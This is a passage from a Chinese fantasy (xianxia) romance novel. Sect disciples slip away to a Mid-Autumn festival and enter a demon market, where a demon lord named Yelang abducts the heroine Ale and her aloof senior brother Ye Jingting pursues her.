“今天下课我们去把它们放生吧。”阿乐兴高采烈,她没想到还有机会一起放生。
说罢,把布袋放到叶敬亭面前晃了晃,袋子里发出一阵翅膀扇动的声音。
“不去。”
“去吧,去吧。我跟你说后山还有一只仙鹿,我刚救过它。它腿受伤了,我带你去看看,生得极美。”
“不去。”
阿乐本已经习惯他这面无表情的冰块摸样,可前段时间他们明明亲近不少,怎么还是这幅样子。
这可是他们一起遇见的灵蝶,一起亲手抓的灵蝶。或许是这几日未见,稍稍生分了些,那自己就再主动一些吧。
又把布袋放在叶敬亭眼前,这次离得更近。
叶敬亭一挥手,“啪”一声脆响,布袋在空中腾起,在摔落下来时被桌角撞到,落在地上时灵蝶从布袋里一涌而出。
“哇——”学堂里瞬间飞满了灵蝶,在阳光照耀下闪着细碎金光。
阿乐看着被叶敬亭挡飞的布袋,看着这满屋飞舞的灵蝶,愣住了。
他怎么又变成“冰块”了。
灵蝶在师兄弟身上飞起又落下。
“哇——我刚才好像在脑子里看到你了!”
“我心底升起的那个感受是你的吧,好神奇。”
“快快,你上次说的那个心跳,我也想感受一下,我是蓝色的,你得是红色的才行。”
学堂里乱做一团,大家都被这“同感同受”震惊到,玩的不亦乐乎。
阿乐怔怔看向叶敬亭,面无表情的脸看不出有其他情绪。
“咚咚咚”讲台上响起一阵声响,是叶修一来了。
“大家都坐好,你们现在样子像什么话。”
一阵灵力拂面吹过,把灵蝶一只不落的吹出学堂。
阿乐回去乖乖坐好,低着头。
好不容易熬过一天,任凭叶鹤怎么跟她说话,都是冷淡的回一句,或者干脆不回答。
“阿乐,你昨天不是才说去,今天怎么又不说话了。”叶鹤跟在她身后追问道。
“不想去了。被师尊抓到要受罚的。”阿乐说完就跑了,没留给叶鹤劝说的机会。
“今天什么日子啊,你们俩吃冰块了?”叶鹤在身后愤愤不平。
阿乐没回寝室,径直跑到树洞里。
憋了一天实在憋不住了,在这里她可以放声大哭。
她想不通明明才一起从浮空岛回来,他对自己态度变了很多,会与自己说话,甚至句句有回应,虽然还是面无表情的脸,起码已经不是冷冰冰的了,为何今日要把灵蝶挡飞,又是一张冰块脸看着自己?
从那日在后山被绑了一天,到今天灵蝶飞散,这几日的委屈瞬间崩塌,如下了很多天大雨的水坑终于拦不住,全都倾盆而出。
叶鹤路过修炼场看到叶敬亭独自一人在练剑。
“敬亭,你怎么不回去?”
“——很吵。”
“你独自一屋,怎么会吵?”
“——”
叶敬亭不回答,把剑指向叶鹤,“师兄,好久没有比试了。”
叶鹤只当是他这几天在藏书阁憋久了,那就陪他练一练。随即祭出“流云”与叶敬亭切磋起来。
约莫过了两个时辰,两人从地上打到空中,从剑法比到灵力捏诀,叶敬亭本就悟性极强,修为丝毫不弱于他。怎么感觉今日,更强了。
21. 一起过中秋节
“我这几天没惹你吧?”叶鹤瘫坐在地上大口喝着水,他回想这几日他们都没见过面,没有机会得罪他啊。
“没有。”叶敬亭把剑收好,盘腿面对叶鹤席地而坐。一点也不像刚刚比试过两个多时辰的样子。
叶鹤玩笑道,“你小子修为又进步了,这几日怕不是在藏书阁抄书,莫不是偷偷修炼去了。”
把水壶递过去,看着他默不作声看着夜空的样子,缓缓道:“你是不是有什么事想说?”
叶敬亭收回目光看着叶鹤,摇了摇头,又垂下眼看向地上,半晌才抬起头道:“师兄,这世间真的有无法控制的能量吗?”
叶鹤身形顿住,收起嘻嘻哈哈,认真看向叶敬亭担心道:“——敬亭呀,邪恶的能量千万不能碰,会被吞噬。”
“你是不是这几天在藏书阁看什么禁书啦?”
“世间万物都有自己的能量,有的能量损身,本身就是蛊惑人心的,你可千万要小心!”
“敬亭呀——”
“敬亭呀——”
“敬亭呀——”
不等叶敬亭回答,叶鹤一顿苦口婆心,很担心小师弟走火入魔。
“——”
叶敬亭耳边仿佛很多只叽叽喳喳的鸟在同时叫,更吵。
轻叹一口气,留叶鹤独自一人在修炼场,自己御剑先走了。
叶鹤看着他离去的背影大声喊道:“好好修炼,不要胡思乱想。”
回到寝室,叶敬亭推开窗户,看了看窗前的大树,清风拂过树叶“哗啦啦”作响,风停了又恢复安静。
顺着树干向下望去,那里的树洞黑乎乎一片,应该是没有人在里面吧。或许她就没来过?还是来了已经走了?
不会又在里面睡着了吧?
“铛——铛——铛——”戌时三刻钟声回荡在山里,再过一刻钟便到亥时了。
叶敬亭盘腿静坐。
“嗡嗡嗡——”一只蚊子从窗外飞来,围着叶敬亭一直绕,它仿佛在思考着眼前这尊俊美的人像到底是真人还是石像。
“噼里啪啦”空中一道白光闪过,蚊子还没想明白怎么回事便在消散在空中。
擦擦手,重新盘腿端坐好。
“呱呱呱——”窗外传来一阵蛙叫,引得一群蛙一块叫了起来。
叶敬亭深吸一口气,握紧的拳头又缓缓松开。
“知了——知了——”这个季节有知了正常吗?何况这还是晚上!
叶敬亭额头青筋暴起,再次深呼吸——呼——吸——
“阿娘,你快来接阿乐。”一阵呢喃从窗外飘来。
猛然睁开眼,她——在!
端放在腿上的手掌又握紧,半晌,站起来把窗户关上,整个过程行云流水没有一丝犹豫。
再次重新盘腿坐好。
“阿乐——”叶之远声音穿过窗传入叶敬亭耳朵。
“他怎么会来这?”
“阿乐——你在这吗?”
“阿乐!”
叶敬亭握紧拳头,这个时候越想要静下来,却偏偏静不下来。
“叶之远,我在这——”不一会,阿乐声音响起,听上去有些懒散。
阿乐在睡梦中听到自己的名字,本以为是做梦,仔细听来却是叶之远的声音,从来没有在梦里出现过的声音。
这才醒来,发现原来是自己在洞里迷迷糊糊睡着了。
外面的声音却没有停止,阿乐从树里爬出来,打着哈欠,满脸泪痕看上去十分疲惫。
还好现在是夜晚。
“你怎么在这?”阿乐问道。
叶之远看到阿乐真的在这里,开心道:“中秋节我们一起去兰陵城逛灯会怎么样?”
“可是私自下山被师尊发现要被处罚的。”阿乐回忆着今天是不是有人也问过自己,却又想不起来是谁。
叶之远停顿了一下,环视四周一圈,小声道:“是叶鹤师兄约我的,只要不闹出什么动静,就没事的。”
叶敬亭站在窗前,开了一条细缝,又往前伸了伸身体。
阿乐挠挠头,似乎还在纠结。
“我们在亥时之前回来,不会有事的”
“那——好吧。”
两人声音渐渐远去。
叶敬亭打开窗户,看着在两人在夜色中消失的背影,一伸手灵力从指尖发出,“呱呱”声、“知了”声瞬间消失。
安静得只听得见自己的心跳,
深呼吸——凝神静心。
闭上眼,脑海中浮现出刚才的对话,“哐”一声巨响,大树一阵颤动,“哗啦啦”落下一大片树叶。
这两日过得风平浪静,叶敬亭一如既往学堂、膳房、寝室、修炼场四个地方来回穿梭。
阿乐也不再去招惹他。下学堂就与叶鹤、叶展云、叶之远一起去后山照顾仙鹿。
两人仿佛又回到刚认识的时候,没有任何交集。
中秋节。
四人早早约好这天在清灵山门口的亭子碰面,如今这三人已到,就差叶鹤。
“这个叶鹤,怎么回事,再晚去就占不到好位置了。”叶展云来回踱步,左右还是没看到人影。
兰陵城每逢中秋节都热闹至极,河里飘满莲花灯,河道两边停满来自各地的商贩。久而久之大家在这一天都喜欢租船到河上看夜景。
“来了来了——”阿乐远远便看到叶鹤一身蓝衣,配上他披肩长发,一时间还真有些分不清是翩翩公子还是俊俏小娘子。
叶展云招手道:“鹤——这边,快点的!”
叶鹤摊开手尴尬的指了指身后,不妙!身后跟着个人,是大师兄。
阿乐笑脸凝固在脸上,不妙,大师兄身后还跟着那个“冰块”。
本能的想找个地方躲去,左看右看只有叶之远身后了。
目光扫过眼前的四人,最终停留在叶鹤脸上,叶子清叹一口气道:“作为师兄你就这样带着他们出去玩?”
叶鹤满脸堆笑,挽住叶子清道:“师兄,这可是一年才一次的中秋节,师弟师妹们平日练功修炼都很辛苦,我就是带他们出去见识一下。”
叶展云也上前道:“师兄,我们就是去看看,亥时之前绝对回来。”
叶子清知晓这两人要关是关不住的,再看看阿乐、叶之远清澈的眼神,罢了别过头一甩袖走了:“我们今日没有见过。”
叶敬亭转身跟着叶子清离去,他更不喜麻烦,也清楚这些师兄习性,这个时候最好走快些。
却还是晚了一步,叶鹤上前拉着他:“小师弟,逃避是最没用的法子。”
叶展云搭腔:“有你在,师尊要罚也罚得轻些。”
“不去。”叶敬亭回绝得干净利落。
阿乐站在叶之远旁低头看着脚下,脚尖摩擦着地上的一颗小石头,故意不去看叶敬亭。
叶鹤悻悻放开叶敬亭,看着他离去的背影,对着叶展云道
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:“展云啊,一会可得让之远记清楚回来的路,不然要是咱两喝醉了,他们还得送我们回来呢。”
叶展云接着道:“也不知道到时候只剩下他们俩,这良辰美景——会不会扔下我们不管。”
叶之远听到师兄们对话以为怕他们喝醉了没人管,连忙插道:“不会的,师弟肯定把二位师兄安全送回。”
叶敬亭身形僵住,手掌在衣袖里握紧,转过身,看不出什么表情,还是一脸云淡风轻。
一路上阿乐都没怎么说话,对叶之远的搭话也有一句没一句的回着,她瞄着叶敬亭背影想不明白,他不是很讨厌自己嘛,跟来干嘛呀?
夜色很快降落,这人族首都—兰陵城果然一派热闹。
阿乐看到这灯火通明、人声鼎沸的样子,整个人一扫阴霾,早已忘记刚才的不愉快。
“这位姑娘,一看就是外地人吧,来尝尝我家冰糖水,新鲜水果榨汁加冰块,不甜不要钱!”
“几位公子,看看我家烤串,今早才杀的牛,肉刚刚烤好,来几串尝尝啊!”
这一路走来,路过的美食琳琅满目,阿乐走一路吃一路,叶之远在身后帮她付账。
叶鹤手肘戳了戳叶敬亭道:“这小师妹还挺受欢迎——”
叶敬亭不理他独自往前走去。
这才踏进城不到一刻钟,阿乐肚子已经半饱,
三位师兄走在前边,依稀只看得到背影,阿乐隐隐有些担心:“之远,你别磨蹭了,师兄们都走远了。”
叶之远付完最后一家商户提着一堆吃食赶到阿乐身旁道:“那我们快走。”
两人加快脚步向前赶去。
可这师兄们的背影却总是不紧不慢的在前方几米,两人怎么追都追不上。
阿乐有些急了,大声道:“师兄!鹤师兄——展云师兄——你们等等我们!”
这一声喊叫,三人都顿足回首看向自己,奇怪的是却看不清楚脸面。周围的人群也停住了,好似都被下了定身咒。
小贩的声音、路人的声音在这一瞬间全都戛然而止。
阿乐看着眼前诡异的一切,向后退了半步,低声道:“之远,你看这是怎么了?”
半晌,没有回应。阿乐紧张得回过头,身后居然空无一物,连方才沿街叫卖的小商贩也不见了,整条街空空荡荡只有自己。
阴暗的街道上冒出一些黑影。
“敬亭师兄!你们在哪儿?”阿乐手心冒汗,紧张的站在原地不敢动弹。
“师兄——”阿乐又轻唤了一声,黑影听到声响迅速向自己聚拢。
“啊——”
突然感到肩膀一沉,整个人被一股力量往后一拉,须臾间周围又恢复了热闹。
回头看是叶敬亭拉了自己一把。“师兄——”阿乐红着眼眶看着他,刚才真是吓死了。
见叶敬亭不语,阿乐背过身用手背擦了擦眼泪。
“阿乐,你没事吧!我一眨眼你就消失了,我找了一圈都没找到。”叶之远急冲冲赶过来,“你刚才去哪儿了?”
叶鹤、叶展云闻声从别处赶来,看到阿乐没事松了一口气。
整理好情绪,把刚才经历的说了一遍。
听完,叶敬亭思索片刻道:“妖市。”
“今年妖市居然那么大胆,开在这人声鼎沸的兰陵城。”叶鹤双眼放光,似乎听到了什么好玩的事情。
“那不得去看看。”叶展云亦是如此。
22. 妖市
这妖市是五不管地带,就是神族、龙族、人族、鲛人族、妖魔族都管不到的地方。也不是不愿意管,是这个组织神出鬼没,也不知道是何人组织。
也正因为如此,在这妖市里有很多新奇的玩意,各种在“光天化日”下都见不到东西想不到的东西都会在那里出现。总之只要是碰到了,去逛一逛是稳赚不亏。
只需要稍微打扮一下就可以了。
叶展云在旁边小摊买了五个动物面具分发,大家各自戴好面具,换上一身黑衣,阿乐有些跃跃欲试,想起刚才街上的黑影又有些紧张。
“在妖市上千万不要暴露身份,不要叫大名,我们需要取个代号。我叫小鹿。”叶鹤指了指自己的小鹿面具。
“狐狸。”叶敬亭道。
“那我是小猫。”阿乐开心道。
“我是小狗。”叶之远望向阿乐。
“——小猪。”叶展云的声音听起来不是那么高兴。
“进去万一遇到什么危险,或者大家走散了,我们需要一个暗号。”叶鹤道。
“密信。”叶敬亭淡淡道。
叶鹤一拍脑袋拍了下叶敬亭肩膀,一副恍然大悟的表情,“对,密信!只有我们互相能看到的消息。”
这个“密信”是叶鹤在学堂上课时,发明出来的东西,有时候听师尊讲学真的很无聊。之前邀请叶敬亭很多次他都不愿意参与,这下可派上正经用途。
“密信?”阿乐与叶之远一头雾水。
叶鹤手指捏诀,与叶敬亭双手合十,只见两人掌中升起一道金光,“好了。我们互相结下‘密印’,往后的消息只要是通过‘密印’发出,就只有我们几人能看到,若是其中两人想要单独发消息,那再设置一道专属对方‘密令’便可。”
随后几人互相接下“密印”,阿乐尝试用“密印”发出一条消息:“妖市里有吃的吗?”
叶鹤回复:“——”
叶展云回复:“有!”
叶之远回复:“哈哈——”
这些字都漂浮在脑海里一下就能看到,阿乐第一次知道还有那么有趣的法术,她无意瞟了叶敬亭一眼,自言自语道:“这张‘冰块’脸与这身黑衣真是绝配。”
“什么?”叶敬亭的声音在身后响起,阿乐吓了一跳。
“没——没什么。”
叶敬亭把冒着金光的手掌举到阿乐面前。
“击掌?”阿乐不明所以,以为他要击掌,把手举起,却被一把握住。
叶敬亭道:“蝴蝶。”
“啊?”阿乐看着自己被握住的手,一脸茫然。
“密令。”叶敬亭淡淡道。
“呃——”
“不要说多余的字。”
“冰块。”
金光消失,叶敬亭便转身走了。留阿乐一人在原地,困惑道:“这是在跟我结‘密令’吗?”
叶鹤正在嘱咐大家收起灵力,在这种神鬼混杂的地方最安全的就是把自己隐藏在人群中。
环视了一圈,大家都在各自忙着整理,没有人回应她。
“是。”脑海中出现一个字,是叶敬亭回答的。
几人跟着叶鹤拐进一条小巷,这里偶尔有人走过。
叶鹤口中念念有词,面前显现出一个水晶骷髅头,空空的眼窝里有两簇幽绿鬼火,顺着骷髅指引很快便找到妖市入口。这时几人同时收到叶鹤发来密信:“各位收起灵力,不要暴露身份。”
除此之外阿乐收到叶敬亭一条密信:“跟紧。”
阿乐想到这人一会讨厌自己,一会又一幅担心的样子,真是难琢磨。心里嘀咕了几句:“跟紧你还是跟紧谁啊?”
没想到这句话误发了出去,没一会儿便收到回信:
“小师妹,你在跟谁说话呢?”叶展云回道。
“阿乐,你跟紧我吧!”叶之远回道。
“哈哈——发错人了吧——”叶鹤回道。
“——跟紧我!!”阿乐似乎看到了叶敬亭头上冒出的青筋。
几人说笑间,已踏入妖市。
还是一样的街道小巷,只是人群取而代之的是戴着面具也感受不到任何灵力的“人”。
在这些“人”群中,穿插着一些黑影,均都带着斗篷一身黑衣,看不清脸,半透明的身子很容易与其他“人”混在一起。
这些黑影就是方才无意闯入妖市看到的那些。
阿乐向大家发出消息:“我方才见到的就是那些黑影。”
“什么黑影?”
“没有看到?”
“???”
看着回复,手心冒汗,难道只有自己能看到?刚好一个黑影从身旁经过,阿乐实在害怕,蹲下假装找东西。
“你在哪?”叶敬亭传来密信。
“我刚才看到有个黑影——我——我蹲地上呢。”阿乐紧张得语无伦次。
“跟紧我。”叶敬亭密信才传到,阿乐手腕处多了一根红线,与在双生洞中那根一模一样,顺着红线抬眸刚好撞见正顺着红线来找自己的叶敬亭。
看着两人之间的红线,心里踏实了几分。
再看,黑影已不见了。
“呼——”心中暗自松了一口气,这些黑影不是冲自己来的。
没想到,这妖市比兰陵城还要热闹几分。
这里卖的东西阿乐都没有见过。
这边有一个形同枯槁的老人佝偻着腰,瞪着一双圆眼看着路过的人,随便挑中一个便掐着嗓子道:“尝尝我的回颜汤,不止样貌回春,与情郎厮混更是水嫩嫩!”
阿乐偷瞄了一眼,脸确实如出水芙蓉的妙龄女子,“小姑娘,要不要来一碗!”
不等阿乐回绝,已被红线牵着往前走了。
那边有一个全身长着华丽羽毛的女子正在一个笼子里落泪,旁边有一个蒙面壮汉正卖力吆喝:“世间仅此一个凤凰女妖,此妖可做药引,只要你与他合欢二十日,便能修为提升。”
不等阿乐看清这凤凰女妖到底长什么样已被红线拉走。
“上等龙筋龙骨,龙皮龙鳞,多买多送啊!”
阿乐沉着脸,白了摊主一眼,大声喊了一句:“我看你卖的都是假货——”说罢便加速逃走了,远远还听得到摊主咒骂声音。
“小猫,你真厉害!”叶之远发来消息。
“小狗,我就在你旁边,不用发消息。”阿乐对身旁的叶之远乐道。
跟在师兄们身后,慢慢放松了警惕,妖市也没想象中危机四伏,两人逐渐沉浸在逛集市的乐趣中。
“来不来一碗大骨汤?现剁现煮。”
阿乐闻着飘香道:“这个汤好香啊,我们去喝一碗吧。”
“你确定?”叶鹤与叶展云对视一眼,笑弯了眼。
几人来到摊贩前,一大口锅里“咕噜咕噜”冒着泡,里面的大骨跟随沸水上下起伏。老板站在一条围布后,只听到剁骨头的声音。
“老板,来两碗大骨汤。”
“得咧,这就来!”话音刚落,老板从围布后走出来,却是瘸着一条腿,少了一只手,森森白骨从断口出露出来,还“滋滋”往外冒着血。两人抬头一看,这老板长着一个猪头,两只肥腻的大耳朵上下扇动,拿起汤勺的手也是猪蹄。
两人对视一眼,阿乐缓缓道:“老板这里面煮的不会是——”
“是我的骨头啊,现剁现煮!”老板一脸习以为常,甚至有些骄傲。
“二位是第一次来?”说完还往热气腾腾的锅里又丢了一截不知什么部位的骨头。
阿乐一阵反胃,“呕——”在未吐出来之前被叶之远连忙拉走。
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叶之远轻轻拍着她背,阿乐还在难受:“呕——小鹿,你不早说!呕——”
过了一刻钟,阿乐才缓过来,这妖市上的东西她是一口不敢再吃。
“嘘——前方妖气太盛,大家小心为妙。”叶鹤传来密信。
阿乐踮起脚探头往前看去,还是黑压压一片人头攒动,并未看到有什么特别的东西啊。
“小狗,你有感觉到异样吗?”阿乐低声问道。
“没有啊,可能我们感觉不到?”叶之远屏气凝神,还是没有感觉到异样。
两人正在激烈讨论中,不知从哪儿冒出一个老者,满脸皱纹堆在一起,几乎看不清哪一条褶皱才是眼缝。
站在阿乐面前挡住去路。
阿乐往旁边绕开,他又跟着绕过来,往返几次,阿乐有些恼了:“您是故意的吧!”
老者肩膀开始止不住的抖动,从轻微抖动到狂笑不止,最后仰天长笑,声音尖锐刺耳。阿乐有些急了,大声道:“让开!”
吓得叶之远一跳,旁边路人纷纷侧目,他怕引起围观暴露身份那就糟糕了,一直扯着阿乐低声道:“小猫,冷静,冷静。”
叶敬亭发现红线不动,意识到阿乐遇到麻烦,拉住叶鹤、叶展云往回寻去。
只见一群人把阿乐、叶之远团团围住。
老者终于笑停了,开口道:“今天你哪儿也别去了,跟我走。”声音难听得犹如一只被掐住脖子的大鹅。
说罢就上前抓住阿乐的手腕就要拉走,叶之远紧紧护住阿乐不许他们靠近,却只是徒劳,那老者一抬手便把他掀翻在地。
“狐狸!狐狸!”阿乐此时顾不得发密信,只管大声喊叫,又吸引不少围观者。
“狐狸?你今天叫神仙都没用。再说了,以后跟了我们公子,要什么有什么,你又不亏!”老者此话一出,众人一片哗然。
“你家公子可是叫‘夜郎’?”一位围观者问到,听声音是个姑娘。
看着姑娘从面具后露出的眼眸,看来是对这“夜郎”情根深种。
老者偏头道:“这位姑娘认识我们公子?”随即伸手往前探去,半晌冷笑一声:“可惜了这位姑娘与我家公子没有缘分。”
“等下,什么公子,什么夜郎?”阿乐越听越迷糊,她现在只想逃走。
“小娘子,等你见到我家公子就知道了,你放心他会好好疼你的。啊哈哈哈哈哈”尖锐的笑声在空中回荡。
叶敬亭几人在外面挤不进去,只听得见里面有声音传来。
“我不去。”阿乐一屁股坐在叶之远身旁,环视一圈全是陌生面具,又大声喊道:“狐狸、小鹿、小猪!”
这时,刚才卖大骨汤的那家猪头老板对这老者喊道:“莫不是公子要娶妻了?”
“对呀!千挑万选才挑到这姑娘。”老者又是一阵狂笑,阿乐捂起耳朵,这难听得声音还是直往脑子里钻。
“公子又要娶妻了?要不看看我行不行啊!”旁边站出来两名女子,站在老者面前搔首弄姿,见他不说话,既然三下五除二把衣服全部脱个精光,众人一片安静,一部分是看呆了,一部分是惊呆了。
阿乐就是惊呆了的那部分,她看着眼前一丝不苟的女子,嘴巴都忘记合拢。
叶之远满脸通红,眼睛不知要往哪里看,干脆扭头看着阿乐。
老者红着脸,气鼓鼓的看着这两位姑娘。突然膨胀得又高又大,足足有十五尺那么高。气得把衣服甩在两名女子头上,一只手一个当场把两人头捏爆,血肉顿时顺着尸体流了一地。他气愤喊道:“公子岂容你们亵渎,他是那样高贵的人,怎么会被你们凡胎肉/ti戏耍!”
满脸涨红,叽里咕噜一顿咒骂。
人群被这突如其来的暴动吓得四处散开。
叶敬亭几人这才得以靠近。
23. 夜郎
老者一个跨步挡在阿乐面前,叶之远如同一只小鸡仔一般被他拎到一旁。
叶敬亭手中捏诀,祭出“寒冰”向着老者劈去。
“神族——”围观者四下散开,远远站在一旁观看。生怕血溅到自己。
叶鹤、叶展云想要阻止已来不及,只好一人一侧站在两边伺机而动。
“哟——神族也来逛妖市啊?”老者把阿乐用一块破布包好拎起来抗在肩膀上,整个过程一气呵成不给她反击的余地。
“狐狸——救我!”阿乐不知道自己要被绑去哪里,难不成真是要绑去做“新娘子”,心里又慌又急。
手中捏诀几次才成功祭出“雪落”,“哗哗哗”几声剑锋划破破布,阿乐从老者肩上滑落下来。
老者见状也不急,又是一阵“哈哈哈哈哈哈哈”,声音难听至极。
他对着阿乐道:“这狐狸算得上什么?你要是见过我家公子,你才知道你自己有多幸运。”
“我才不去。”阿乐看着老者这摸样,心想他自己都长这样,他家公子能好到哪里去,大概又是一只丑□□。
此时,围观者中传来一阵阵“她不去,我去,我去”的声音,大家争先恐后,巴不得把自己打包送上门去。
阿乐一脸不可思议看着这群疯魔的女人,到底被这“夜郎”下了什么蛊?
“过来。”叶敬亭传来密信,让阿乐乘此时乱作一团快过来。
阿乐看准时机,拉过叶之远飞身而来。
老者看着离去的两人也不着急,拿出一支短笛对着空中吹了几声。
“大家小心,有大量妖气袭来”叶鹤发出消息。
叶敬亭持剑护在阿乐前,低声道:“跟紧我。”
阿乐紧张的屏住呼吸,警惕查看四周,不知道会出现什么,可千万不要是那黑影。
不时,远处传来一阵唢呐声,伴随着一阵“叮叮当当”铃铛响,一队穿着红色喜服的队伍沿街走来。
“夜郎——夜郎——”围观者开始大喊大叫。
走近了才看清,这站在最前面的三人长得与那老者并无二样,后面有四具冒着鬼火的骷髅抬着一柄大轿,轿子四角挂着铃铛、四面飘着轻纱,正中央侧躺着一人,却看不清长相。
轿中人对着老者道:“四鬼,怎么了?”
人群中开始骚动,有几名胆大的小娘子在大声喊着“夜郎——”
这就是那老者说的他家公子“夜郎”?这说话声音清冷低沉,又带着一丝玩世不恭,阿乐突然想看看这样好听的声音,主人会长什么样子。
纱幔虽然轻薄,却怎么也看不清里面的人。
“公子,她不愿意跟我走,老要跟这狐狸在一起。”老者指了指阿乐又指了指叶敬亭,有些委屈道。
“哦?狐狸?”轿子里的人影站了起来,须臾间纱幔被一只纤细修长的手指掀开一角,探出半张脸,虽然仅有半张脸,已经足够惹得人群一阵沸腾。
阿乐也愣了几秒,实在是——好看啊!!!比鹤师兄、展云师兄、敬亭师兄加在一起还要好看半分!
夜郎目光上下打量叶敬亭,又往他身后看去,扫视了阿乐一圈,嘴角勾笑,露出一颗尖牙对着旁边空气道:“带走吧。”
纱幔垂下,方才空气的地方几名黑影显出身形,又不见了。只听见阿乐一声尖叫,却已被两道黑影绑走放在了轿子中。
叶鹤、叶展云、叶之远几人伸手在空中徒劳的挥舞了几下,队伍已走远。
叶敬亭挥剑也没击中,被红线扯着往前走了几步,轿中弹出一道红光把红线切断。
“狐狸,你的小猫是我的了。”留下一连串笑声,整个队伍便消失了。
人群一阵尖叫声,一片混乱,跑过叶敬亭向着消失的地方追去。
叶敬亭看着手腕处的断线,紧握“寒冰”的指节微微泛白,眼神冷冽看着前方,御剑追去。
“狐狸——等我们!”叶鹤在身后喊叫,眨眼间,叶敬亭也消失了。
“怎么办?”叶展云着急道。
“等。”叶敬亭传来密信,几人再追问也没等到回复。
“走,找刚才那大骨汤老板问问。”叶鹤眼神瞟向身后店里那鼎热气腾腾的大锅。
睁开眼夜郎的脸近在咫尺,一阵清香扑鼻而来,这才发现自己此刻正躺在他怀里。一双红色眼眸正牢牢看向自己,呼吸间阿乐身形怔住,完全不敢动,额头渗出一层汗珠,夜郎贴心帮忙擦去,感受到肌肤传来的温度,脸颊浮上一层红晕。
两边街景向后快速飘去,也不知过了多久终于在一座宫殿前停下。
说是宫殿一点也不浮夸,阿乐抬头看着这座建筑,比清灵山的清灵殿还要威风,琉璃金瓦折射出光芒,看上去整座建筑金光熠熠。
黑影把她扔在大殿里便消失了。
“雪落”感应到召唤,剑锋向外守在她面前。
阿乐四处察看一番,大殿灯火通明,横梁上挂着浅红色飘带,散发着淡淡清香,与夜郎身上味道一致。殿内四处摆放着植物小景,偶尔还有几只蝴蝶立在上面。怎么看主人也不会是一个凶神恶煞之人。
“姑娘,你再等一会,夜郎正在更衣,一会就来。”一阵清脆的声音从殿口传来。
接着就有几位打扮明艳的女子端着各式糕点、水果摆满一桌。
几人放下端盘,也不退下,上下打量着阿乐窃窃私语。
阿乐被看得有些不自在,尴尬的挠挠头道:“几位姐姐,这里到底是哪里呀?”
“这里是夜郎的‘金殿’啊!”刚才说话的那名女子回道。
“夜郎百年没有带过小娘子来过‘金殿’了,你是他第二个那么看重的来客。”另外一名女子说完,被旁边女子瞅了一眼,“你少说话!”
阿乐有些不好意思,继续道:“为什么是第二个?”
“青儿,你带她们先下去吧。”声音从殿里传来,不知何时大殿上多了一人。
几人走后,阿乐转身便看到夜郎侧坐在椅子上,一只手杵着下巴正在看向自己。
只见他一身黑衣,袖口、衣领、腰间配有花朵形状的金饰,头上别着一朵淡粉色蔷薇,配上这吹弹可破的肌肤,真是极品。。红色眼眸似笑非笑,说话间无意露出的尖牙别具一格,阿乐又愣了一下,脸上微微烧红,咽下口水心道:“难怪刚才那些女子都要抢着嫁他。”
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正沉浸在夜郎的美貌中,脑海里浮现两个字:“在哪?”,是叶敬亭发来的密信。
“金殿。”阿乐除了知道这里叫“金殿”,其他什么也不知道。
“那狐狸有什么好,不如与我留在这金殿岂不快哉。”他仿佛能看到阿乐脑子里的密信,拿起一颗葡萄送入鲜红欲滴的嘴中。
“那个——你是叫夜郎是吧?”阿乐局促得手都不知该放在哪里。
“嗯。”夜郎挑眉应道。
“我们应该是第一次见面吧!你是不是认错人了?”
夜郎不语,歪头看着阿乐,半晌,嘴角浅笑,眯起眼睛又上下打量了一遍阿乐,随即抬起手一拉,阿乐便不受控制往他方向飞去。
转眼间便坐在他怀里。
阿乐全身一僵,声音变得有些颤抖:“那个,我们那么近是不是不太好。”
“哈哈哈哈哈哈”一阵笑声在大殿里回荡,夜郎缓缓伸出手温柔的解下面具。
面具脱下的一刹那,夜郎凑近仔细端详她脸庞,阿乐脸烧的更红了。
“龙知乐,没错就是你呀。”
阿乐瞬间弹起,瞪大眼睛指着眼前男子,不可思议道:“你——你——”
夜郎伸手抓住阿乐的手指顺势拉过又拥在怀里,这次抱的很紧。
阿乐浑身僵硬,有些喘不过气,她现在脑子里一片空白。
环住自己的手又收紧了几分,身后隐约传来:“我好想你——”
阿乐感到夜郎身体正在微微颤抖,有轻轻的啜涕声,难不成他哭了?
“放开她——”一阵清冷的声音划破大殿,刚才叫“四鬼”的老者鼻青脸肿在一旁跪下对着夜郎道:“对不起,公子,我拦不住他。”
敬亭师兄!阿乐从夜郎怀里挣扎起来,跑到叶敬亭身边。
“师兄,你没事吧!”
环视了一圈,还好没受伤!
“你怎么找到这里的?”
叶敬亭没有回话,往前走了半步,挡在阿乐面前,又悄悄往她身旁挪了挪,一只手别在身后,顿了顿才捉住阿乐的手拽紧在手掌心里。
阿乐看不到他此时的表情,但手心里冒出的汗出卖了他的紧张。
夜郎招招手示意四鬼退下,单手杵着下巴,食指轻轻敲在脸上,饶有兴趣的看着两人。
阿乐被他看得有些莫名其妙,清了清嗓子道:“夜郎,我们就是路过来逛逛的,并没有其他恶意,你可能误会了。”
“误会?怎么会有误会呢,我都知道你叫龙知乐,你觉得我们之间有误会吗?”
阿乐一时语塞,除了阿爹阿娘和几位师兄,没人知道她大名。
“休想。”叶敬亭握紧掌心里的手,淡淡道。
夜郎从椅子上站起来,随手抓了一颗葡萄送入嘴里,看着叶敬亭眨眨眼道:“你不会也想要娶她吧?”
“胡说。”叶敬亭斩钉截铁,声音里带有几分怒气。
如此干净利落不带一丝犹豫,阿乐感觉心脏被人狠狠捏了一下。
“你到底想要干嘛?”阿乐道。
“我说了,娶你呀!”夜郎笑着看向阿乐,眼眸里却是无比认真。
24. 异界 闯入夜郎回忆
话音未落,“寒冰”已悬在夜郎面前。
夜郎偏过头,剑锋擦面而过,头上别的蔷薇洒落一地,绕了一圈回到叶敬亭手里。
对上叶敬亭冷冽的目光,夜郎实在忍不住仰天大笑起来,“哈哈哈哈哈哈哈哈”,仿佛这是一件非常好笑的事情。
整个大殿回荡着他的笑声,阿乐听着后背有些发凉,往叶敬亭身后躲了躲,用没被牵着的那只手握成半个括号拢在嘴边,踮起脚凑近他耳朵道:“师兄,我们乘现在快走吧。”
一阵酥麻感,耳垂红了一半,并有往脸上蔓延的趋势。
叶敬亭点点头,两人往大门撤去。
“嗖嗖”两道红光闪过,挡住了去路。
叶敬亭眼疾手快,“寒冰”脱手而去,手中捏诀,很快与夜郎缠斗在一起。
阿乐随即祭出“雪落”,与叶敬亭一左一右把夜郎围在中间。
“到底有什么好笑的?”阿乐忍不住开口道。
“他不想娶你,却又要阻止我娶你。那就是他想要你喜欢他,却不想别人喜欢你。你说这人是不是自相矛盾,是不是自私至极。”夜郎低头擦了擦笑出来的眼泪。
